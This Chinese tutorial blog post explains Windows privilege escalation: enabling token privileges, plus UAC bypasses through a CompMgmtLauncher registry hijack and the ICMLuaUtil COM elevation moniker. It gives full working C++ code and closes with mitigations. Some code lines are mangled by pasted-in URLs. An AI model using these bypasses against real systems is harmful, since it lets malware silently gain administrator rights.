信息安全|网络安全自学篇

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。这篇文章将带着大家来学习《Windows黑客编程技术详解》,其作者是甘迪文老师,推荐大家购买来学习。作者将采用实际编程和图文结合的方式进行分享,并且会进一步补充相关知识点。第六篇文章主要介绍木马病毒提权技术,包括进程访问令牌权限提升和Bypass UAC,希望对您有所帮助。
如果把权限看作是门禁卡,那么计算机便是一栋拥有许多门禁的大楼,要想进入一个房间或办公室,则需要拥有对应房间的门禁卡。对于低权限,即拥有很少数量的门禁卡,能去的也只有厕所之类的无关紧要的地方,无法进入层层设防的保密办公室。这样,即使病毒木马成功混入计算机这所大楼,如果没有足够的权限,也不能窃取或修改计算机中的关键数据,杀伤力有限。
因此,提权技术(从低权限获取高权限的技术)成为大多数病毒木马必备技术。
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计算机上有哪些操作需要提权呢?操作系统处于安全考虑,对不同的操作系统划分了权限。例如创建或修改系统服务、修改HKEY_LOCAL_MACHINE注册表键或重启移动文件等操作,均需要管理员权限,普通权限操作会失败。
同时,从VISTA系统引入了UAC(用户账户控制),涉及权限操作时都会有弹窗提示,只有用户点击确认后,方可继续操作。所以,VISTA之后的提权操作主要是针对UAC不弹窗静默提权,即Bypass UAC。
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文章目录

  • 一.进程访问令牌权限提升
  • 1.函数介绍
  • 2.实现原理
  • 3.编程实现
  • 二.Bypass UAC
  • 1.基于白名单程序的Bypass UAC
  • 2.基于COM组件接口的Bypass UAC
  • 三.总结


作者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
Windows-Hacker:https://github.com/eastmountyxz/Windows-Hacker-Exp

【信息安全|网络安全自学篇】声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
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[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包

一.进程访问令牌权限提升 病毒木马想要实现一些关键的系统操作时,往往要求执行操作的进程拥有足够的权限。比如,通过调用ExitWindows函数实现关机或重启操作时,它就要求进程要有 SE_SHUTDOWN_NAME 权限,否则会忽视操作不执行。这时,程序能够做的便是按照要求提升进程群贤,第一部分通过介绍提升进程访问令牌的权限。
1.函数介绍 (1) OpenProcessToken函数
打开与进程关联的访问令牌。
BOOL OpenProcessToken( HANDLE ProcessHandle, //要修改访问权限的进程句柄 DWORD DesiredAccess,//访问掩码,要对令牌进行何种操作 PHANDLE TokenHandle//返回的访问令牌指针 );

(2) LookupPrivilegevalue函数
查看系统权限的特权值,返回信息到一个LUID结构体。
BOOL LookupPrivilegevalue( LPCTSTR lpSystemName,//指向要获取特权值的系统名称 LPCTSTR lpName,//特权名称 PLUID lpLuid//指向LUID变量的指针 );

(3) AdjustTokenPrivileges函数
启用或禁用指定访问令牌中的权限,在访问令牌中启用或禁用权限时需要 TOKEN_ADJUST_PRIVILEGES 访问。
BOOL AdjustTokenPrivileges( HANDLE TokenHandle,//handle to token BOOL DisableAllPrivileges,//disabling option PTOKEN_PRIVILEGES NewState, //privilege information DWORD BufferLength,//size of buffer PTOKEN_PRIVILEGES PreviousState, //original state buffer PDWORD ReturnLength//required buffer size );

其中,操作类型及特权属性Attributes可以是如下常量:
SE_PRIVILEGE_ENABLED//使特权有效 SE_PRIVILEGE_ENABLED_BY_DEFAULT //使特权默认有效 SE_PRIVILEGE_REMOVED//移除该特权 SE_PRIVILEGE_USED_FOR_ACCESS//取得对象或服务的访问权


2.实现原理 (1) 使用场景
病毒木马想要实现一些关键的系统操作时,并且进程访问令牌权限提升的实现步骤较为固定。
(2) 实现流程
  • 打开进程访问令牌
  • 取得特权的LUID值
  • 调整访问令牌特权值
首先获取进程的访问令牌,然后将访问令牌的权限修改为指定权限。但是系统内部并不直接识别权限名称,而是识别LUID值,所以需要根据权限名称获取对应的LUID值,之后传递给系统,实现进程访问令牌权限的修改。
(3) 实现步骤
  • 获取指定进程的访问令牌,需要获取权限的令牌句柄为 TOKEN_ADJUST_PRIVILEGES
    OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)
  • 获取本地系统指定特权名称的LUID值,LUID值相当于该特权的身份标号
    LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue)
  • 创建一个新的进程令牌特权结构体 TOKEN_PRIVILEGES,并对其进行赋值,设置新特权的数量、特权对应的LUID值以及特权的属性状态
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
  • 调用 AdjustTokenPrivileges 函数对进程令牌的特权进行修改
    AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL)

3.编程实现 第一步,新建C++空项目,项目名称为“Tiquan01”。
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第二步,新建源文件“main.cpp”。
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第三步,编写代码获取当前进程号。
#include #include #include using namespace std; #ifdef _WIN32 #include #else #include #endif//主函数 int main(int argc, char* argv[]) { //获取当前进程号 int iPid = (int)_getpid(); std::cout << "The process id is: " << iPid << std::endl; system("PAUSE"); return 0; }

输出结果如下图所示,可以看到我们的程序Tiquan01.exe进程为18512。
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第四步,通过子函数实现进程访问令牌的提升权限。
#include #include #include using namespace std; #ifdef _WIN32 #include #else #include #endif//显示错误信息 void ShowError(char* pszText) { char szErr[MAX_PATH] = { 0 }; ::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError()); ::MessageBox(NULL, szErr, "ERROR", MB_OK); }/*---------------------------------------------------------------- 函数名:CPrivilgeEscalationDlg::EnableDebugPrivilege 返回类型:BOOL 功能: 提升进程访问令牌权限 参数1: 需要提升权限的进程句柄 参数2: 特权名称 ----------------------------------------------------------------*/ BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName) { HANDLE hToken = NULL; LUID luidValue = https://www.it610.com/article/{ 0 }; TOKEN_PRIVILEGES tokenPrivileges = { 0 }; BOOL bRet = FALSE; DWORD dwRet = 0; //打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄 bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken); if (FALSE == bRet) { ShowError("OpenProcessToken"); return FALSE; } //获取本地系统的 pszPrivilegesName 特权的LUID值 bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue); if (FALSE == bRet) { ShowError("LookupPrivilegeValue"); return FALSE; } //设置提升权限信息 tokenPrivileges.PrivilegeCount = 1; tokenPrivileges.Privileges[0].Luid = luidValue; tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //提升进程令牌访问权限 bRet = ::AdjustTokenPrivileges( hToken,//令牌句柄 FALSE,//是否禁用权限 &tokenPrivileges,//新的特权的权限信息 0,//特权信息大小 NULL,//用来接收特权信息当前状态的buffer NULL//缓冲区大小 ); if (FALSE == bRet) { ShowError("AdjustTokenPrivileges"); return FALSE; } else { //根据错误码判断是否特权都设置成功 dwRet = ::GetLastError(); if (ERROR_SUCCESS == dwRet) { return TRUE; } else if (ERROR_NOT_ALL_ASSIGNED == dwRet) { ShowError("ERROR_NOT_ALL_ASSIGNED"); return FALSE; } } return FALSE; }//主函数 int main(int argc, char* argv[]) { //获取当前进程号 int iPid = (int)_getpid(); std::cout << "The process id is: " << iPid << std::endl; //修改当前进程令牌访问权限 if (FALSE == EnbalePrivileges(::GetCurrentProcess(), SE_DEBUG_NAME)) { printf("Enable Privileges Error!\n"); } printf("Enable Privileges OK!\n"); system("PAUSE"); return 0; }

运行结果如下图所示,注意需要以管理员权限运行,否则会提示相关错误。
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问题:怎么判断我是否提权成功呢?
同时,编程过程中会遇到各种错误,请大家一定实际去编写代码,学会谷歌百度独立解决。 比如"const char *"类型的实参与“LPCWSTR”类型的形参不兼容,基本的解决方法如下:
  • 配置属性 -> 常规 -> 字符集 -> 使用多字节字符集
  • C/C++ -> SDL检查-> 否
  • C/C++ -> 语言 -> 符合模式 -> 否
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二.Bypass UAC UAC(User Account Control)是微软在Windows VISTA以后版本中引入的一种安全机制,通过UAC,应用程序和任务可始终在非管理员账户的安全上下文中运行,除非特别授予管理员级别的系统访问权限。UAC可以阻止未授权的应用程序自动进行安装,并防止无意地更改系统。
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UAC需要授权的动作包括:配置Windows Update、增加或删除用户账户、改变用户账户的类型、改变UAC设置、安装ActiveX、安装或移除程序、安装设备驱动程序、设置家长控制、将文件移动或复制到Program Files或Windows目录、查看其他用户文件夹等。
触发UAC时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给 appinfo 的 RAiLuanchAdminProcess 函数。流程如下:
  • 该函数首选验证路径是否在白名单中
  • 接着将结果传递给consent.exe进程
  • 该进程验证请求进程的签名以及发起者的权限是否符合要求后,决定是否弹出UAC窗口让用户确认
  • UAC窗口会创建新的安全桌面,屏蔽之前的界面,同时UAC窗口进程是系统权限进程,其他普通进程无法和其进行通信交互,用户确认后,调用 CreateProcessAsUser 函数以管理员身份启动请求的进程
病毒木马如果想要实现更多的权限操作,那么就不得不绕过UAC弹窗,在没有通知用户的情况下,静默地将程序的普通权限提升为管理员权限,从而使程序可以实现一些需要权限的操作。目前实现Bypass UAC主要有两种方法:
  • 一种是利用白名单提权机制
  • 一种是利用COM组件接口技术

1.基于白名单程序的Bypass UAC 有些系统程序可以直接获取管理员权限,而不触发UAC弹框,这类程序成为白名单程序。例如:slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等。这些白名单程序可以通过DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作。
下面选择白名单程序 CompMgmtLauncher.exe 进行详细分析,利用它实现Bypass UAC提权。分析的环境是64位Windows 10操作系统,使用的工具是进程监控器Procmon.exe。
第一步,在System32目录下运行 CompMgmtLauncher.exe 程序。
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此时并没有出现UAC弹窗就直接显示计算机管理的窗口界面。
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第二步,使用procmon软件监控该进程的所有操作。
主要是监控注册表和文件的操作,设置进程名为CompMgmtLauncher.exe过滤即可。
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输出结果如下图所示:
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第三步,分析该进程注册表操作。
Procmon监控数据分析发现,计算机管理进程会先查询注册表中数据。
  • HKCU\Software\Classes\mscfile\shell\open\command
发现该路径不存在后,继续查询注册表中的数据并读取。
  • HKCR\mscfile\shell\open\command(Default)
该注册表路径中存储着mmc.exe进程的路径信息,如下图所示。然后,计算机管理程序会根据读取到的路径启动程序,显示计算机管理的窗口界面。
疑惑:如何通过该软件定位进程的执行逻辑或操作流程?感觉不是Procmon就能实现的。
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注册表中内容对应如下:
  • %SystemRoot%\system32\mmc.exe “%1” %*
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第四步,手动构造注册表路径弹窗cmd命令行程序。
在 CompMgmtLauncher.exe 启动的过程中,有一个关键的操作就是它会先读取注册表的数据。
  • HKCU\Software\Classes\mscfile\shell\open\command
我们开系统注册表编辑器regedit.exe,查看相应路径下的注册表,发现该注册表路径确实不存在。所以,如果自己构造该注册路径,写入启动程序的路径,这样,CompMgmtLauncher.exe便会启动该程序。为了验证这个猜想,自己手动添加该注册表路径,并设置默认的数据为C:\Windows\System32\cmd.exe。
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注册表修改如下:
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然后使用Procmon.exe进行监控并运行CompMgmtLauncher.exe,成功弹出cmd.exe命令行窗口,而且提示管理员权限,如下图所示,注意左上角显示的是“计算机管理”而不再是“CMD”。
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查看Procmon.exe的监控数据,CompMgmtLauncher.exe确实直接读取注册表路径中的数据并启动。

第五步,编写代码实现相关功能。
利用CompMgmtLauncher.exe白名单程序Bypass UAC提权的原理讲到这里,接下来编写程序创建并添加注册表,并写入自定义的程序路径。
  • HKCU\Software\Classes\mscfile\shell\open\command(Default)
具体Bypass UAC代码如下,运行计算机管理程序即可完成Bypass UAC提权操作。其中,HKEY_CURRENT_USER是用户注册表,程序使用普通权限即可进行修改。
Tiquan02完整代码
#include #include #include using namespace std; //显示错误信息 void ShowError(char* pszText) { char szErr[MAX_PATH] = { 0 }; ::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError()); #ifdef _DEBUG ::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR); #endif }//修改注册表 BOOL SetReg(char* lpszExePath) { HKEY hKey = NULL; //创建项 ::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL); if (NULL == hKey) { ShowError("RegCreateKeyEx"); return FALSE; } //设置键值 ::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)lpszExePath, (1 + ::lstrlen(lpszExePath))); //关闭注册表 ::RegCloseKey(hKey); return TRUE; }//主函数 int main(int argc, char* argv[]) { BOOL bRet = FALSE; PVOID OldValue = https://www.it610.com/article/NULL; // 关闭文件重定位 ::Wow64DisableWow64FsRedirection(&OldValue); // 修改注册表 bRet = SetReg("C:\\Windows\\System32\\cmd.exe"); if (bRet) { // 运行 CompMgmtLauncher.exe system("CompMgmtLauncher.exe"); printf("Run OK!\n"); } else { printf("Run ERROR!\n"); } // 恢复文件重定位 ::Wow64RevertWow64FsRedirection(OldValue); system("pause"); return 0; }

输出结果如下图所示,360成功识别在劫持程序,点击允许后及弹出对应的计算机管理CMD。
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该程序成功利用白名单程序实现了Bypass UAC提权操作,并向注册表中写入cmd程序并启动,其实这也算一种利用白名单的程序劫持,最终效果如下图所示。
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2.基于COM组件接口的Bypass UAC COM提升名称(COM Elevation Moniker)技术允许运行在用户帐户控制(UAC)下的应用程序,以提升权限的方法来激活COM类,最终提升COM接口权限。其中,ICMLuaUtil 接口提供了ShellExec方法来执行命令,创建指定进程。所以,接下来介绍的基于 ICMLuaUtil 接口的Bypass UAC的实现原理,它是利用COM提升名称来对 ICMLuaUtil 接口提权,提权后通过调用ShellExec方法来创建指定进程,实现Bypass UAC操作。
使用权限提升COM类的程序必须调通过用CoCreateInstanceAsAdmin函数来创建COM类,COM提升名称具体的实现代码如下:
HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid) { BIND_OPTS3 bo; WCHAR wszCLSID[MAX_PATH] = { 0 }; WCHAR wszMonikerName[MAX_PATH] = { 0 }; HRESULT hr = 0; // 初始化COM环境 ::CoInitialize(NULL); // 构造字符串 ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0]))); hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID); if (FAILED(hr)) { return hr; } // 设置BIND_OPTS3 ::RtlZeroMemory(&bo, sizeof(bo)); bo.cbStruct = sizeof(bo); bo.hwnd = hWnd; bo.dwClassContext = CLSCTX_LOCAL_SERVER; // 创建名称对象并获取COM对象 hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid); return hr; }

执行上述代码,即可创建并激活提升权限的COM类。ICMLuaUtil 接口通过上述方法创建后,直接调用ShellExec方法创建指定进程,完成Bypass UAC的操作。基于ICMLuaUtil接口Bypass UAC的具体实现代码如下所示:
BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable) { HRESULT hr = 0; CLSID clsidICMLuaUtil = { 0 }; IID iidICMLuaUtil = { 0 }; ICMLuaUtil *CMLuaUtil = NULL; BOOL bRet = FALSE; do { ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil); ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil); // 提权 hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil)); if (FAILED(hr)) { break; }// 启动程序 hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW); if (FAILED(hr)) { break; }bRet = TRUE; }while(FALSE); // 释放 if (CMLuaUtil) { CMLuaUtil->lpVtbl->Release(CMLuaUtil); } return bRet; }

要注意的是,如果执行COM提升名称(COM Elevation Moniker)代码的程序身份是不可信的,则会触发UAC弹窗;若可信,则不会触发UAC弹窗。所以,要想Bypass UAC,则需要想办法让这段代码在Windows的可信程序中运行。其中,可信程序有计算器、记事本、资源管理器、rundll32.exe等。
因此可以通过DLL注入或是劫持等技术,将这段代码注入到这些可信程序的进程空间中执行。其中,最简单的莫过于直接通过rundll32.exe来加载DLL,执行COM提升名称的代码。利用rundll32.exe来调用自定义DLL中的导出函数,导出函数的参数和返回值是有特殊规定的,必须是如下形式。
// 导出函数给rundll32.exe调用执行 void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)

将上述Bypass UAC的代码写在DLL的项目工程中,同时开发Test控制台项目工程,负责并将BypassUAC函数导出给rundll32.exe程序调用,完成Bypass UAC工作。
Test代码如下:
#include "stdafx.h" #include int _tmain(int argc, _TCHAR* argv[]) { char szCmdLine[MAX_PATH] = { 0 }; char szRundll32Path[MAX_PATH] = "C:\\Windows\\System32\\rundll32.exe"; char szDllPath[MAX_PATH] = "C:\\Users\\DemonGan\\Desktop\\BypassUAC2_Test\\Debug\\BypassUAC2_Test.dll"; ::sprintf_s(szCmdLine, "%s \"%s\" %s", szRundll32Path, szDllPath, "BypassUAC"); ::WinExec(szCmdLine, SW_HIDE); printf("Run OK.\n"); system("pause"); return 0; }

信息安全|网络安全自学篇
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Bypass UAC启动的是cmd.exe程序,所以,直接运行Test.exe即可看到cmd.exe命令行窗口,而且窗口标题有管理员字样,运行结果如下图所示。
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三.总结 写到这里,这篇文章就介绍完毕,希望对您有所帮助,最后进行简单的总结下,本文讲解了进程访问令牌权限提升和Bypass UAC(白名单和COM组件)。其实,Bypass UAC的方法有很多,对于不同的Bypass UAC方法,具体的实现过程不太一样,需要我们不断去摸索。同时,随着操作系统不断升级更新,Bypass UAC技术可能不再适应(被打补丁),但也会有新的方法出现,大家可以去github上关注UACME开源项目。
最后补充防止Bypass UAC的方法:
  • 不要给普通用户设置管理员权限
  • 在“更改用户账户控制设置”中,将用户账户控制(UAC)设置为“始终通知”
注意,不要觉得这些技术代码实现容易就简单,很多木马、病毒、APT攻击都用到了它们,不要小瞧任何一个技术,只有把这些技术组合起来威胁更大。同样,作为反病毒或安全分析人员,我们需要了解各种技术,只有知道怎么攻击和原理才能更好地防守。
学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。
(By:Eastmount 2020-09-12 星期一 晚上11点写于武汉 http://blog.csdn.net/eastmount/ )

2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。
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参考文献:
[1]《Windows黑客编程技术详解》甘迪文老师
[2] 进程访问令牌权限提升 - 自己的小白
[3] windows进程提权(C语言实现) - zzkdev
[4] https://www.freebuf.com/sectool/175551.html
[5] https://blog.csdn.net/Simon798/article/details/107051801/

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